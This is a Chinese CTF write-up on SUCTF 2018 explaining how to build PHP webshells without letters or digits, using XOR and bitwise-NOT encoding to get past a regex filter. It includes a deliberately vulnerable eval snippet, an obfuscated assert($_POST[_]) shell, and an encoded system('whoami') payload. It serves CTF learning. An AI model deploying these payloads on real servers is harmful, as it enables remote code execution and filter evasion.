no-num_str_webshell

 · 2020-4-4 · 次阅读


本文参考链接:郁离歌大佬的博客

从SUCTF 2018[Getshell]学习无字母无数字getshell.

比如有这样的代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

之前参加极客大挑战有接触到,可以用不同非字母(即一些特殊符号)进行异或,最后构造出a-z中的任意字符。
然后再利用PHP允许动态函数执行的特点,拼接出一个函数名。比如assert函数,然后动态执行即可getshell.

当然要异或成任意的字母也不容易,下面是几个生成无字母数字shell的php代码:

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

还有在一个笔记上看到的:

<?php


// 例如我现在要执行的命令 call_user_func('system', 'whoami');

// 那么构造方法就是如下

echo urlencode('<?=1;');

echo '('.'~'.urlencode(~('call_user_func')).')';

echo '(';

echo '('.'~'.urlencode(~('system')).'),';

echo '('.'~'.urlencode(~('whoami')).')';

echo ')';

echo urlencode('?>');


// 最后构造出来的代码就是

// %3C%3F%3D1%3B(~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)((~%8C%86%8C%8B%9A%92),(~%88%97%90%9E%92%96))%3F%3E


// 执行的代码就是:<?=1;call_user_func('system', 'whoami');?>

那么我们看一下SUCTF2018这道题:进去后有如下提示:

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

然后有一个上传文件的功能,题目名称就是getshell,因此需要上传php进行getshell.首先进行FUZZ,查看过滤了哪些字符:

最后成功上传shell却发现无法查看根目录下的shell,我们打开命令行提示,发现无法cd,这里直接用ls /,就看到了其他的了然后cat 即可查看flag.